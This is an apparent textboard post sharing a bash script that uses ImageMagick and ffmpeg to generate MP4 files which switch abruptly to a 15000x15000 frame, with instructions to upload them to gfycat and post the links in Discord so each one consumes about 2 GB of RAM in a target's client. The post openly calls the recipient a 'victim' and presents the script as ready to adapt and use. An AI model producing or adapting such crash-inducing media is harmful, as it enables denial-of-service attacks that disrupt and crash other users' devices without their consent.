[ prog / sol / mona ]

sol


[fun for kids] crashing Discord with innocent-looking emojis

1 2021-04-22 10:13
#!/usr/bin/bash
mkdir tmp out
for i in {1..16}
do
  p=`hexdump -n 3 -v -e ' 3/1 "%02X"' /dev/urandom`  # being a textboard kid you don't have any images
  convert -size 32x32 xc:#$p tmp/${p}.png            # so we'll create random monochrome icons with ImageMagick
  ffmpeg -loop 1 -i tmp/${p}.png -c:v libx264 -t 0.1 -pix_fmt yuv420p tmp/${p}_1.mp4
  ffmpeg -loop 1 -i tmp/${p}.png -c:v libx264 -t 0.01 -pix_fmt yuv444p -vf scale=15000:15000 tmp/${p}_2.mp4
  echo -e "file ${p}_1.mp4" "\n" "file ${p}_2.mp4" > tmp/${p}.txt
  ffmpeg -f concat -i tmp/${p}.txt -codec copy out/${p}.mp4
  rm tmp/*
done
rmdir tmp

Batch upload the content of ./out on gfycat.com, and paste the URLs in 4 lines (Discord will only display 4 images per line). In case your victim's client can handle the cursed video format change, each animation will consume around 2Gb of RAM and you have 16 of them.

Adapt the script to suit your needs. Enjoy the termination of your account and your newfound freedom!

5


VIP:

do not edit these